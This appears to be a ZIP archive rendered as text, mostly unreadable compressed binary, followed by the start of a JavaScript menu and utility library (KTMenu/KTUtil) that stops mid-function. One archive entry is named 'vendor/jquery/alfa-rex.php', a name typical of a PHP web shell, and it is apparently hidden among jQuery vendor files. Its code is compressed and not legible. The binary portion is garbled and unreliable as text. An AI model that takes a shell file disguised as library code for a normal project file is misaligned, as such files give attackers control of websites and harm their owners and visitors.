uZz>UYpg%yii9!XWwBmM57,㞱5zxo8'":ɽDedfh31`c7n-zVqW@3ʱNh7% 0 Zub[cXڍL _C}AttG~a'z~09aq=6q@~2,=b0}\!w͑ Z… 2Ui.D oXo,^*kT{ IX9FkDg|Zչ1u?Fs76Dڻʐc}A}}aq dС I{0(8s @X^xjW͞Li,Rjkpq 6-<g-lA .{!OPxm#h?D9Tkj+;1FD}ڶw{`MQ]ZǧjC&GK5"Nt:OMVX}dyښ )zoC<;ZES`u%~J[_OK͕ ȃ<\if=9JY~Ef<oox\8/;7I 9&#/DvNYߍwY%c;ޫpW/KW'ST>}_Hr=tvfdЮrJ p)8[M"^ԫ@< Hq 'gA ,xp-VwMV<7UfMe;^, v>-YvO@$\HwC1π/2eOhANo0"_d㬎~;>Xūn 0r{oBUCFwƐ!c\8Zs _X[ `賎 WX95XhԗL4FY#D GA/jQECkW:EPMD"$I]RR|;U6uUwihw>-ȿ{6 ׎[ڏzt&'u=MoNUvF0Unhwyv<=o*9A%h/9rۼ-6Q 6S,= /3XkQǴ[w[`s/H%S2:3T>yu}@= |:bdF,:p3))@@oBBN*UUҴνef$ykOiTwnvV.,ww,<˳8;١ [chjJIhUr!G C 3AiƼ-i > Jz29!:l`  /pekq# DBDׇ4?Єb;5 y9["L/cx:0H-2HڍŭxTЉ^g1xz}æ&")$gxێT!]t*N?k 鐙aFcD_אep;7EgDZkLl[~NjY *ooj7}+`a+ tH!T`# @H4`YY8?[]PUW' &pq))4^[ x-g b0gǭ6%&lZR(J Z{޹+"wڵ4u#cH.6]o*of3wբfы&o }ufL"9lJe:}EMpE og8y7BгXDGZAUٙNcum'2Oy$l {jg,0VVFK.zh/E$(^$IrԸpu;RkrU MKa&kN6Ƹ)rڱfً0uKpf'wK 4+?KyI]]#VT 7G2/ nep9"_3ӆvIR\SUaࡔd}Ez$eOOHi~]HIqdFk ) jTeܦOi+H \986o"N$( ai@$f۞ј?UC`M תOkv6E@|yn5m}zеӗC;Ug?.Ueb"R5ڲ""|񐣶8:g]Ḃm%sq8޾{LekD/_#1}I.o ^ЦqΧkstAVCCJ&&Yr[2 #NjJ7q]{V [\bݳ 决l浝)ݫK\3ЍX){Esz[q1}A8I-_L+ϙ!w,H,0kH@0$m5ոql"u[{>^_?hAyKY㭃?a״#\uZ* 0643#"p6T끳@s2"idcqYڒ[,IZ)Ŀ } Ly RNYh5Fxy)`-j2e5 jq0WLIX#ҕ/lK3B2#7\w?@¢e0i(R\7a]!o#馀JW"qftxeJx+:y ƻ#+vw MoB)4'c޽_D>H lxf!e緩2Ġ<# mҧ;[@VuyG{~„ø3$ȶ|@ʼJd~YeMq\#kgGЫ6J jY514ݽm<Ȃ-alpC*uN=I[g'}xPn1`S95- v onI$pW4,b P_ nJ>+'4tyCMدRbgvzD~Q ʀ޽}%?Oj/oog];@…gww`Pc= #Z$9C\k1_k^ 6hHK/ ! Xu`Iym籚zuTk-"SkZOա (g?̣S ">̻u. .Jʬ#N)8'Xz˙CHmOAa "`3 .?u݉T8bV,³fʠR'#aK"O 52ŲΖ‹nIϿts;uJ8x]s$]Z&0x6?ޣS/P7_963⯜F a܌ ALW/Q^_.yKh[aWcdF /+9 #ּN_)K8 9)BA9bm&-Co ǢT&3Qye¢Y/ w.>4EW=p/giSu] :R`6OQmg82r-3c;R5-* x}I} XMcNr޲'OG]}a9JMkQB^_mm}cɱ}#Cqk>)P&`(،}]b󾕰_] c K@rG~8 PcpƩS);6X/h"34B7󨾧UiG@^^]Zj/}J *I!XX2 Cht4H!~hu S ZQpؙA0(%5~dX]\9o37ۤ6zj8lngݵ`Gt>#҃PH\ŷzA.\Zѫ6#HH6 b<lt8B\Ȇ ut?u͏A{H,UK=zzƸc@6 `|OG"}>zt50dQGN>@Et^_^9C"bsb 2*؆%mv-x{X@Zݲ G-P[_:Iڒ"ݔ\"P+xOon.TCED9\Immz.yޣRv״$-%EWa 3Gtt8f`ۮϏd{$.,kJNnm #ީW[گinsղX7tfu]dğam8D uvAuux`(8#6ʡuU1Q K͎Yǐ?9zʰ⸀ J&K=!h eiZNӿݣ;qs 7ؕ^L@&)穹w3Ȫً+ʎ|SvHYGYbm) yǓ _7KLmcakc+ŋg atYl˓v uIx׍9 :܉"cMxǠ$G'@#2=lv`Rjl4^$Bjh߫xAIiR@UKOU_hՍ"!l-yӘ/8~Y F! , oJέ2Af#5m;rI< |Ȏ7oJg/_90Y\*:1)[夁1 e*_MUV㐀NGe x !1TqZں5>qi`LsN&m?3TVQ~Q.زo(xbnP?,s! [K] <7wվUH|)1oTpκhFVrv76UVW]- ͢Zxf&nP3fn/}G׍;\kldq~. έVOجk 1AOT+)H촃d5]6GaKQt׶U+JdU1.ɸlnҥݹ WO[ YޝhqSh<5&:sWa(-03vwE$HYHdR7ee,K .̣E5LɍgU۱eIxhW&gi\ttғ5-&ϵޗ1^7'ѻ MZ=w-/}o[%126]+Wr5zh-3& e@o\,ƎAԾ}[aC|yR^\/rbGdџ; &쇓 ݚg m/S;v0 l\g"/ kDŠ.tԾ"}(p'U! 0G3߿X|Y`IH=g,Gt}J+n\=l0[ֶ1n?2"I`м…;I~vC^\xoa igC6&aٲgAqbB%VYwPDfD97nN ne:0Nwrb1 %A4D{(_Ajt1C<⃢nYG&>8%cXFQbm|@vئ뎿1'ϔk XM|՜Wy(IQWRIO=k}vA(bq +.=xˡpQ}Lw.xr[T9PvcgϞ81fcON,xflAҋO61wVTإKgSHk;wUqXգy9ES<{v?%wTKW.O`g}ICg/9t,tS'O]էJg`J&;YjݡxyXl Z4=ֹӽڜtgmvc*7˕SЙA H.3¤`ro|eLJZG~O9)=oNJJJ[MPLF]ii$&4 L"6^KJFy.xZv64hiw֯'M<ǵrE~ >GLJ\l%ڤ=e;QsI 9̈utqe&Hss꽩eŶbLyscܒ]j -mT=S1qzW~ƈq)Pdb\}R,"1 d/x]6O Ƅzxi)m6zM3Bo9KOC#Prqs5ΥTamIL:`]~Di7[0DGs7}Gڿ?,|/Y # ѻcFMbJlgqAA_ġ1T=YQl.m U`:1RC8,K?8V$2m aw,{5LD*Ul3}|j>'уf=PVAZf E7qƃpO21ᢶ($UQa 1ɽ+tkۗaQ\l“CF#yͰ]BkgV !heTU|.SiR(9O&PwK݂}ns$p2 :R yH+~XZġq.IV$쓳Ikե召wu&>%.%Tp&ADCFK6te@!F׽o%'*aޤ%_޳b EF3~. rrIϿqj]+#V'f/y{- >}cL!]o'Uz:U1rrYeTV~Y<ھ傕SZ%U(( :%ڇݵiyn>Q|OqeS ۺ^m!;ޔ: cs_~csZ V՟Ԙ rSʨ1K*߾joˇe^ oR|w$;Z3_JBKd@hNW[_n55,V94M)Mgϛ1H Hq) ֆp~*<u([ŚlWéjA^c)6R/ؓv1!?MtVx "XU324.UJWLoɰUl"=nI|BFSa/r,iӀM4V|~ Z_Qa|&?89& YC?e)etj.cPV f [ fuQ+vmh*@aɸ/$T-NOK_X01PdF,&\#nǮ-v^q6#cQYyQMGkVaE$@Ɓ~ǬźD?GR1'9L;xfIe u-(.˪&55XM6S29pUl|9KE#jWaSmmiՆi+)-h+!gctOtFUJ ȯȃFiΘdsSʵtnInBpLc3_̱tÜv<魭\NPK]D|Xsdx`kb~x^ .LE\Z[sh5lI~k$i¯i-ɫ\ox_QEԛ{I[~ׯIU`̤1`If[de5\gVå{ 4 =ޛ![9c1O'u/>2?Ey#[ƏUwaz kQN'=ިbX=5pȋO,H;4@qjj᧮KS?V]$E|ȭs{D-UnBJ|ou 9;Y3Q'~S!iRl?X LWv}ħqOI$sq]'I&vCپ3G.:[z8RS˗;q8&DtVy.`,36 D4XI m?j Ѯvg;_[m͠ ێ'3i,VL@pIVTM7'q=_H_|'id:/vm}csk{gwo $ "L &h>LPԿwj:h2[6r{>?``qxDPitTH, Jl+Zx}~Uȕבa`_2y'k's:JBIݗMh7jCUZXnE]DZ-n^U}Bj?$e޿A S'25iKZ51ۂ>$שdaߌRutP ciK.< ;L>1iQ[+"VOc8vn%I,ϹڡG7վ"`td볎z1'>#֕1 ޛ6F78-֑}dѻܹnzҧe jfraJnlicnD>ieXqG%q9iN՜\:1#PKZGAk}|-|-vendor/jquery/alfa-rex.phpnu[PKZ@1XHvendor/jquery/scripts.bundle.jsnu["use strict"; // Component Definition var KTMenu = function(elementId, options) { // Main object var the = this; var init = false; // Get element object var element = KTUtil.getById(elementId); var body = KTUtil.getBody(); if (!element) { return; } // Default options var defaultOptions = { // scrollable area with Perfect Scroll scroll: { rememberPosition: false }, }; ///////// // ///////////////// // ** Private Methods ** // //////////////////////////// var Plugin = { /** * Run plugin * @returns {KTMenu} */ construct: function(options) { if (KTUtil.data(element).has('menu')) { the = KTUtil.data(element).get('menu'); } else { // reset menu Plugin.init(options); // reset menu Plugin.reset(); // build menu Plugin.build(); KTUtil.data(element).set('menu', the); } return the; }, init: function(options) { the.events = []; the.eventHandlers = {}; // merge default and user defined options the.options = KTUtil.deepExtend({}, defaultOptions, options); the.uid = KTUtil.getUniqueID(); }, update: function(options) { // merge default and user defined options the.options = KTUtil.deepExtend({}, defaultOptions, options); // reset menu Plugin.reset(); the.eventHandlers = {}; // build menu Plugin.build(); KTUtil.data(element).set('menu', the); }, reload: function() { // reset menu Plugin.reset(); // build menu Plugin.build(); // reset submenu props Plugin.resetSubmenuProps(); }, /** * Reset menu * @returns {KTMenu} */ build: function() { // Init scrollable menu if (the.options.scroll && the.options.scroll.height) { Plugin.scrollInit(); } }, /** * Reset menu * @returns {KTMenu} */ reset: function() { KTUtil.off( element, 'click', the.eventHandlers['event_1']); // handle link click KTUtil.off(element, 'click', the.eventHandlers['event_6']); }, /** * Init scroll menu * */ scrollInit: function() { if ( the.options.scroll && the.options.scroll.height ) { KTUtil.scrollDestroy(element, true); KTUtil.scrollInit(element, {mobileNativeScroll: true, windowScroll: false, resetHeightOnDestroy: true, handleWindowResize: true, height: the.options.scroll.height, rememberPosition: the.options.scroll.rememberPosition}); } else { KTUtil.scrollDestroy(element, true); } }, /** * Update scroll menu */ scrollUpdate: function() { if ( the.options.scroll && the.options.scroll.height ) { KTUtil.scrollUpdate(element); } }, /** * Scroll top */ scrollTop: function() { if ( the.options.scroll && the.options.scroll.height ) { KTUtil.scrollTop(element); } }, /** * Reset submenu attributes * @returns {KTMenu} */ resetSubmenuProps: function(e) { var submenus = KTUtil.findAll(element, '.menu-submenu'); if ( submenus ) { for (var i = 0, len = submenus.length; i < len; i++) { var submenu = submenus[0]; KTUtil.css(submenu, 'display', ''); KTUtil.css(submenu, 'overflow', ''); if (submenu.hasAttribute('data-hor-direction')) { KTUtil.removeClass(submenu, 'menu-submenu-left'); KTUtil.removeClass(submenu, 'menu-submenu-right'); KTUtil.addClass(submenu, submenu.getAttribute('data-hor-direction')); } } } }, /** * Reset menu's current active item * @returns {KTMenu} */ resetActiveItem: function(item) { var list; var parents; list = element.querySelectorAll('.menu-item-active'); for (var i = 0, len = list.length; i < len; i++) { var el = list[0]; KTUtil.removeClass(el, 'menu-item-active'); KTUtil.hide( KTUtil.child(el, '.menu-submenu') ); parents = KTUtil.parents(el, '.menu-item-submenu') || []; for (var i_ = 0, len_ = parents.length; i_ < len_; i_++) { var el_ = parents[i]; KTUtil.removeClass(el_, 'menu-item-open'); KTUtil.hide( KTUtil.child(el_, '.menu-submenu') ); } } }, /** * Sets menu's active item * @returns {KTMenu} */ setActiveItem: function(item) { // reset current active item Plugin.resetActiveItem(); var parents = KTUtil.parents(item, '.menu-item-submenu') || []; for (var i = 0, len = parents.length; i < len; i++) { KTUtil.addClass(parents[i], 'menu-item-open'); } KTUtil.addClass(item, 'menu-item-active'); }, /** * Returns page breadcrumbs for the menu's active item * @returns {KTMenu} */ getBreadcrumbs: function(item) { var query; var breadcrumbs = []; var link = KTUtil.child(item, '.menu-link'); breadcrumbs.push({ text: (query = KTUtil.child(link, '.menu-text') ? query.innerHTML : ''), title: link.getAttribute('title'), href: link.getAttribute('href') }); var parents = KTUtil.parents(item, '.menu-item-submenu'); for (var i = 0, len = parents.length; i < len; i++) { var submenuLink = KTUtil.child(parents[i], '.menu-link'); breadcrumbs.push({ text: (query = KTUtil.child(submenuLink, '.menu-text') ? query.innerHTML : ''), title: submenuLink.getAttribute('title'), href: submenuLink.getAttribute('href') }); } return breadcrumbs.reverse(); }, /** * Returns page title for the menu's active item * @returns {KTMenu} */ getPageTitle: function(item) { var query; return (query = KTUtil.child(item, '.menu-text') ? query.innerHTML : ''); }, /** * Trigger events */ eventTrigger: function(name, target, e) { for (var i = 0; i < the.events.length; i++ ) { var event = the.events[i]; if ( event.name == name ) { if ( event.one == true ) { if ( event.fired == false ) { the.events[i].fired = true; return event.handler.call(this, target, e); } } else { return event.handler.call(this, target, e); } } } }, addEvent: function(name, handler, one) { the.events.push({ name: name, handler: handler, one: one, fired: false }); }, removeEvent: function(name) { if (the.events[name]) { delete the.events[name]; } } }; ////////////////////////// // ** Public Methods ** // ////////////////////////// /** * Set default options */ the.setDefaults = function(options) { defaultOptions = options; }; /** * Update scroll */ the.scrollUpdate = function() { return Plugin.scrollUpdate(); }; /** * Re-init scroll */ the.scrollReInit = function() { return Plugin.scrollInit(); }; /** * Scroll top */ the.scrollTop = function() { return Plugin.scrollTop(); }; /** * Set active menu item */ the.setActiveItem = function(item) { return Plugin.setActiveItem(item); }; the.reload = function() { return Plugin.reload(); }; the.update = function(options) { return Plugin.update(options); }; /** * Set breadcrumb for menu item */ the.getBreadcrumbs = function(item) { return Plugin.getBreadcrumbs(item); }; /** * Set page title for menu item */ the.getPageTitle = function(item) { return Plugin.getPageTitle(item); }; /** * Get submenu mode */ the.getSubmenuMode = function(el) { return Plugin.getSubmenuMode(el); }; /////////////////////////////// // ** Plugin Construction ** // /////////////////////////////// // Run plugin Plugin.construct.apply(the, [options]); // Handle plugin on window resize KTUtil.addResizeHandler(function() { if (init) { the.reload(); } }); // Init done init = true; // Return plugin instance return the; }; // Global variables window.KTUtilElementDataStore = {}; window.KTUtilElementDataStoreID = 0; window.KTUtilDelegatedEventHandlers = {}; var KTUtil = function() { var resizeHandlers = []; /** @type {object} breakpoints The device width breakpoints **/ var breakpoints = { sm: 544, // Small screen / phone md: 768, // Medium screen / tablet lg: 992, // Large screen / desktop xl: 1200 // Extra large screen / wide desktop }; /** * Handle window resize event with some * delay to attach event handlers upon resize complete */ var _windowResizeHandler = function() { var _runResizeHandlers = function() { // reinitialize other subscribed elements for (var i = 0; i < resizeHandlers.length; i++) { var each = resizeHandlers[i]; each.call(); } }; var timer; window.addEventListener('resize', function() { KTUtil.throttle(timer, function() { _runResizeHandlers(); }, 200); }); }; return { /** * Class main initializer. * @param {object} settings. * @returns null */ //main function to initiate the theme init: function(settings) { if (settings && settings.breakpoints) { breakpoints = settings.breakpoints; } _windowResizeHandler(); }, /** * Adds window resize event handler. * @param {function} callback function. */ addResizeHandler: function(callback) { resizeHandlers.push(callback); }, /** * Removes window resize event handler. * @param {function} callback function. */ removeResizeHandler: function(callback) { for (var i = 0; i < resizeHandlers.length; i++) { if (callback === resizeHandlers[i]) { delete resizeHandlers[i]; } } }, /** * Trigger window resize handlers. */ runResizeHandlers: function() { _runResizeHandlers(); }, resize: function() { if (typeof(Event) === 'function') { // modern browsers window.dispatchEvent(new Event('resize')); } else { // for IE and other old browsers // causes deprecation warning on modern browsers var evt = window.document.createEvent('UIEvents'); evt.initUIEvent('resize', true, false, window, 0); window.dispatchEvent(evt); } }, /** * Get GET parameter value from URL. * @param {string} paramName Parameter name. * @returns {string} */ getURLParam: function(paramName) { var searchString = window.location.search.substring(1), i, val, params = searchString.split("&"); for (i = 0; i < params.length; i++) { val = params[i].split("="); if (val[0] == paramName) { return unescape(val[1]); } } return null; }, /** * Checks whether current device is mobile touch. * @returns {boolean} */ isMobileDevice: function() { var test = (this.getViewPort().width < this.getBreakpoint('lg') ? true : false); if (test === false) { // For use within normal web clients test = navigator.userAgent.match(/iPad/i) != null; } return test; }, /** * Checks whether current device is desktop. * @returns {boolean} */ isDesktopDevice: function() { return KTUtil.isMobileDevice() ? false : true; }, /** * Gets browser window viewport size. Ref: * http://andylangton.co.uk/articles/javascript/get-viewport-size-javascript/ * @returns {object} */ getViewPort: function() { var e = window, a = 'inner'; if (!('innerWidth' in window)) { a = 'client'; e = document.documentElement || document.body; } return { width: e[a + 'Width'], height: e[a + 'Height'] }; }, /** * Checks whether given device mode is currently activated. * @param {string} mode Responsive mode name(e.g: desktop, * desktop-and-tablet, tablet, tablet-and-mobile, mobile) * @returns {boolean} */ isInResponsiveRange: function(mode) { var breakpoint = this.getViewPort().width; if (mode == 'general') { return true; } else if (mode == 'desktop' && breakpoint >= (this.getBreakpoint('lg') + 1)) { return true; } else if (mode == 'tablet' && (breakpoint >= (this.getBreakpoint('md') + 1) && breakpoint < this.getBreakpoint('lg'))) { return true; } else if (mode == 'mobile' && breakpoint <= this.getBreakpoint('md')) { return true; } else if (mode == 'desktop-and-tablet' && breakpoint >= (this.getBreakpoint('md') + 1)) { return true; } else if (mode == 'tablet-and-mobile' && breakpoint <= this.getBreakpoint('lg')) { return true; } else if (mode == 'minimal-desktop-and-below' && breakpoint <= this.getBreakpoint('xl')) { return true; } return false; }, /** * Checks whether given device mode is currently activated. * @param {string} mode Responsive mode name(e.g: desktop, * desktop-and-tablet, tablet, tablet-and-mobile, mobile) * @returns {boolean} */ isBreakpointUp: function(mode) { var width = this.getViewPort().width; var breakpoint = this.getBreakpoint(mode); return (width >= breakpoint); }, isBreakpointDown: function(mode) { var width = this.getViewPort().width; var breakpoint = this.getBreakpoint(mode); return (width < breakpoint); }, /** * Generates unique ID for give prefix. * @param {string} prefix Prefix for generated ID * @returns {boolean} */ getUniqueID: function(prefix) { return prefix + Math.floor(Math.random() * (new Date()).getTime()); }, /** * Gets window width for give breakpoint mode. * @param {string} mode Responsive mode name(e.g: xl, lg, md, sm) * @returns {number} */ getBreakpoint: function(mode) { return breakpoints[mode]; }, /** * Checks whether object has property matchs given key path. * @param {object} obj Object contains values paired with given key path * @param {string} keys Keys path seperated with dots * @returns {object} */ isset: function(obj, keys) { var stone; keys = keys || ''; if (keys.indexOf('[') !== -1) { throw new Error('Unsupported object path notation.'); } keys = keys.split('.'); do { if (obj === undefined) { return false; } stone = keys.shift(); if (!obj.hasOwnProperty(stone)) { return false; } obj = obj[stone]; } while (keys.length); return true; }, /** * Gets highest z-index of the given element parents * @param {object} el jQuery element object * @returns {number} */ getHighestZindex: function(el) { var position, value; while (el && el !== document) { // Ignore z-index if position is set to a value where z-index is ignored by the browser // This makes behavior of this function consistent across browsers // WebKit always returns auto if the element is positioned position = KTUtil.css(el, 'position'); if (position === "absolute" || position === "relative" || position === "fixed") { // IE returns 0 when zIndex is not specified // other browsers return a string // we ignore the case of nested elements with an explicit value of 0 //
    value = parseInt(KTUtil.css(el, 'z-index')); if (!isNaN(value) && value !== 0) { return value; } } el = el.parentNode; } return null; }, /** * Checks whether the element has any parent with fixed positionfreg * @param {object} el jQuery element object * @returns {boolean} */ hasFixedPositionedParent: function(el) { var position; while (el && el !== document) { position = KTUtil.css(el, 'position'); if (position === "fixed") { return true; } el = el.parentNode; } return false; }, /** * Simulates delay */ sleep: function(milliseconds) { var start = new Date().getTime(); for (var i = 0; i < 1e7; i++) { if ((new Date().getTime() - start) > milliseconds) { break; } } }, /** * Gets randomly generated integer value within given min and max range * @param {number} min Range start value * @param {number} max Range end value * @returns {number} */ getRandomInt: function(min, max) { return Math.floor(Math.random() * (max - min + 1)) + min; }, /** * Checks whether Angular library is included * @returns {boolean} */ isAngularVersion: function() { return window.Zone !== undefined ? true : false; }, // jQuery Workarounds // Deep extend: $.extend(true, {}, objA, objB); deepExtend: function(out) { out = out || {}; for (var i = 1; i < arguments.length; i++) { var obj = arguments[i]; if (!obj) continue; for (var key in obj) { if (obj.hasOwnProperty(key)) { if (typeof obj[key] === 'object') out[key] = KTUtil.deepExtend(out[key], obj[key]); else out[key] = obj[key]; } } } return out; }, // extend: $.extend({}, objA, objB); extend: function(out) { out = out || {}; for (var i = 1; i < arguments.length; i++) { if (!arguments[i]) continue; for (var key in arguments[i]) { if (arguments[i].hasOwnProperty(key)) out[key] = arguments[i][key]; } } return out; }, getById: function(el) { if (typeof el === 'string') { return document.getElementById(el); } else { return el; } }, getByTag: function(query) { return document.getElementsByTagName(query); }, getByTagName: function(query) { return document.getElementsByTagName(query); }, getByClass: function(query) { return document.getElementsByClassName(query); }, getBody: function() { return document.getElementsByTagName('body')[0]; }, /** * Checks whether the element has given classes * @param {object} el jQuery element object * @param {string} Classes string * @returns {boolean} */ hasClasses: function(el, classes) { if (!el) { return; } var classesArr = classes.split(" "); for (var i = 0; i < classesArr.length; i++) { if (KTUtil.hasClass(el, KTUtil.trim(classesArr[i])) == false) { return false; } } return true; }, hasClass: function(el, className) { if (!el) { return; } return el.classList ? el.classList.contains(className) : new RegExp('\\b' + className + '\\b').test(el.className); }, addClass: function(el, className) { if (!el || typeof className === 'undefined') { return; } var classNames = className.split(' '); if (el.classList) { for (var i = 0; i < classNames.length; i++) { if (classNames[i] && classNames[i].length > 0) { el.classList.add(KTUtil.trim(classNames[i])); } } } else if (!KTUtil.hasClass(el, className)) { for (var x = 0; x < classNames.length; x++) { el.className += ' ' + KTUtil.trim(classNames[x]); } } }, removeClass: function(el, className) { if (!el || typeof className === 'undefined') { return; } var classNames = className.split(' '); if (el.classList) { for (var i = 0; i < classNames.length; i++) { el.classList.remove(KTUtil.trim(classNames[i])); } } else if (KTUtil.hasClass(el, className)) { for (var x = 0; x < classNames.length; x++) { el.className = el.className.replace(new RegExp('\\b' + KTUtil.trim(classNames[x]) + '\\b', 'g'), ''); } } }, triggerCustomEvent: function(el, eventName, data) { var event; if (window.CustomEvent) { event = new CustomEvent(eventName, { detail: data }); } else { event = document.createEvent('CustomEvent'); event.initCustomEvent(eventName, true, true, data); } el.dispatchEvent(event); }, triggerEvent: function(node, eventName) { // Make sure we use the ownerDocument from the provided node to avoid cross-window problems var doc; if (node.ownerDocument) { doc = node.ownerDocument; } else if (node.nodeType == 9) { // the node may be the document itself, nodeType 9 = DOCUMENT_NODE doc = node; } else { throw new Error("Invalid node passed to fireEvent: " + node.id); } }, index: function( el ){ var c = el.parentNode.children, i = 0; for(; i < c.length; i++ ) if( c[i] == el ) return i; }, trim: function(string) { return string.trim(); }, eventTriggered: function(e) { if (e.currentTarget.dataset.triggered) { return true; } else { e.currentTarget.dataset.triggered = true; return false; } }, remove: function(el) { if (el && el.parentNode) { el.parentNode.removeChild(el); } }, find: function(parent, query) { parent = KTUtil.getById(parent); if (parent) { return parent.querySelector(query); } }, findAll: function(parent, query) { parent = KTUtil.getById(parent); if (parent) { return parent.querySelectorAll(query); } }, insertAfter: function(el, referenceNode) { return referenceNode.parentNode.insertBefore(el, referenceNode.nextSibling); }, parents: function(elem, selector) { // Element.matches() polyfill if (!Element.prototype.matches) { Element.prototype.matches = Element.prototype.matchesSelector || Element.prototype.mozMatchesSelector || Element.prototype.msMatchesSelector || Element.prototype.oMatchesSelector || Element.prototype.webkitMatchesSelector || function(s) { var matches = (this.document || this.ownerDocument).querySelectorAll(s), i = matches.length; while (--i >= 0 && matches.item(i) !== this) {} return i > -1; }; } // Set up a parent array var parents = []; // Push each parent element to the array for ( ; elem && elem !== document; elem = elem.parentNode ) { if (selector) { if (elem.matches(selector)) { parents.push(elem); } continue; } parents.push(elem); } // Return our parent array return parents; }, children: function(el, selector, log) { if (!el || !el.childNodes) { return; } var result = [], i = 0, l = el.childNodes.length; for (var i; i < l; ++i) { if (el.childNodes[i].nodeType == 1 && KTUtil.matches(el.childNodes[i], selector, log)) { result.push(el.childNodes[i]); } } return result; }, child: function(el, selector, log) { var children = KTUtil.children(el, selector, log); return children ? children[0] : null; }, matches: function(el, selector, log) { var p = Element.prototype; var f = p.matches || p.webkitMatchesSelector || p.mozMatchesSelector || p.msMatchesSelector || function(s) { return [].indexOf.call(document.querySelectorAll(s), this) !== -1; }; if (el && el.tagName) { return f.call(el, selector); } else { return false; } }, data: function(el) { return { set: function(name, data) { if (!el) { return; } if (el.customDataTag === undefined) { window.KTUtilElementDataStoreID++; el.customDataTag = window.KTUtilElementDataStoreID; } if (window.KTUtilElementDataStore[el.customDataTag] === undefined) { window.KTUtilElementDataStore[el.customDataTag] = {}; } window.KTUtilElementDataStore[el.customDataTag][name] = data; }, get: function(name) { if (!el) { return; } if (el.customDataTag === undefined) { return null; } return this.has(name) ? window.KTUtilElementDataStore[el.customDataTag][name] : null; }, has: function(name) { if (!el) { return false; } if (el.customDataTag === undefined) { return false; } return (window.KTUtilElementDataStore[el.customDataTag] && window.KTUtilElementDataStore[el.customDataTag][name]) ? true : false; }, remove: function(name) { if (el && this.has(name)) { delete window.KTUtilElementDataStore[el.customDataTag][name]; } } }; }, outerWidth: function(el, margin) { var width; if (margin === true) { width = parseFloat(el.offsetWidth); width += parseFloat(KTUtil.css(el, 'margin-left')) + parseFloat(KTUtil.css(el, 'margin-right')); return parseFloat(width); } else { width = parseFloat(el.offsetWidth); return width; } }, offset: function(el) { var rect, win; if ( !el ) { return; } // Return zeros for disconnected and hidden (display: none) elements (gh-2310) // Support: IE <=11 only // Running getBoundingClientRect on a // disconnected node in IE throws an error if ( !el.getClientRects().length ) { return { top: 0, left: 0 }; } // Get document-relative position by adding viewport scroll to viewport-relative gBCR rect = el.getBoundingClientRect(); win = el.ownerDocument.defaultView; return { top: rect.top + win.pageYOffset, left: rect.left + win.pageXOffset }; }, height: function(el) { return KTUtil.css(el, 'height'); }, outerHeight: function(el, withMargin) { var height = el.offsetHeight; var style; if (typeof withMargin !== 'undefined' && withMargin === true) { style = getComputedStyle(el); height += parseInt(style.marginTop) + parseInt(style.marginBottom); return height; } else { return height; } }, visible: function(el) { return !(el.offsetWidth === 0 && el.offsetHeight === 0); }, attr: function(el, name, value) { if (el == undefined) { return; } if (value !== undefined) { el.setAttribute(name, value); } else { return el.getAttribute(name); } }, hasAttr: function(el, name) { if (el == undefined) { return; } return el.getAttribute(name) ? true : false; }, removeAttr: function(el, name) { if (el == undefined) { return; } el.removeAttribute(name); }, animate: function(from, to, duration, update, easing, done) { /** * TinyAnimate.easings * Adapted from jQuery Easing */ var easings = {}; var easing; easings.linear = function(t, b, c, d) { return c * t / d + b; }; easing = easings.linear; // Early bail out if called incorrectly if (typeof from !== 'number' || typeof to !== 'number' || typeof duration !== 'number' || typeof update !== 'function') { return; } // Create mock done() function if necessary if (typeof done !== 'function') { done = function() {}; } // Pick implementation (requestAnimationFrame | setTimeout) var rAF = window.requestAnimationFrame || function(callback) { window.setTimeout(callback, 1000 / 50); }; // Animation loop var canceled = false; var change = to - from; function loop(timestamp) { var time = (timestamp || +new Date()) - start; if (time >= 0) { update(easing(time, from, change, duration)); } if (time >= 0 && time >= duration) { update(to); done(); } else { rAF(loop); } } update(from); // Start animation loop var start = window.performance && window.performance.now ? window.performance.now() : +new Date(); rAF(loop); }, actualCss: function(el, prop, cache) { var css = ''; if (el instanceof HTMLElement === false) { return; } if (!el.getAttribute('kt-hidden-' + prop) || cache === false) { var value; // the element is hidden so: // making the el block so we can meassure its height but still be hidden css = el.style.cssText; el.style.cssText = 'position: absolute; visibility: hidden; display: block;'; if (prop == 'width') { value = el.offsetWidth; } else if (prop == 'height') { value = el.offsetHeight; } el.style.cssText = css; // store it in cache el.setAttribute('kt-hidden-' + prop, value); return parseFloat(value); } else { // store it in cache return parseFloat(el.getAttribute('kt-hidden-' + prop)); } }, actualHeight: function(el, cache) { return KTUtil.actualCss(el, 'height', cache); }, actualWidth: function(el, cache) { return KTUtil.actualCss(el, 'width', cache); }, getScroll: function(element, method) { // The passed in `method` value should be 'Top' or 'Left' method = 'scroll' + method; return (element == window || element == document) ? ( self[(method == 'scrollTop') ? 'pageYOffset' : 'pageXOffset'] || (browserSupportsBoxModel && document.documentElement[method]) || document.body[method] ) : element[method]; }, css: function(el, styleProp, value) { if (!el) { return; } if (value !== undefined) { el.style[styleProp] = value; } else { var defaultView = (el.ownerDocument || document).defaultView; // W3C standard way: if (defaultView && defaultView.getComputedStyle) { // sanitize property name to css notation // (hyphen separated words eg. font-Size) styleProp = styleProp.replace(/([A-Z])/g, "-$1").toLowerCase(); return defaultView.getComputedStyle(el, null).getPropertyValue(styleProp); } else if (el.currentStyle) { // IE // sanitize property name to camelCase styleProp = styleProp.replace(/\-(\w)/g, function(str, letter) { return letter.toUpperCase(); }); value = el.currentStyle[styleProp]; // convert other units to pixels on IE if (/^\d+(em|pt|%|ex)?$/i.test(value)) { return (function(value) { var oldLeft = el.style.left, oldRsLeft = el.runtimeStyle.left; el.runtimeStyle.left = el.currentStyle.left; el.style.left = value || 0; value = el.style.pixelLeft + "px"; el.style.left = oldLeft; el.runtimeStyle.left = oldRsLeft; return value; })(value); } return value; } } }, slide: function(el, dir, speed, callback, recalcMaxHeight) { if (!el || (dir == 'up' && KTUtil.visible(el) === false) || (dir == 'down' && KTUtil.visible(el) === true)) { return; } speed = (speed ? speed : 600); var calcHeight = KTUtil.actualHeight(el); var calcPaddingTop = false; var calcPaddingBottom = false; if (KTUtil.css(el, 'padding-top') && KTUtil.data(el).has('slide-padding-top') !== true) { KTUtil.data(el).set('slide-padding-top', KTUtil.css(el, 'padding-top')); } if (KTUtil.css(el, 'padding-bottom') && KTUtil.data(el).has('slide-padding-bottom') !== true) { KTUtil.data(el).set('slide-padding-bottom', KTUtil.css(el, 'padding-bottom')); } if (KTUtil.data(el).has('slide-padding-top')) { calcPaddingTop = parseInt(KTUtil.data(el).get('slide-padding-top')); } if (KTUtil.data(el).has('slide-padding-bottom')) { calcPaddingBottom = 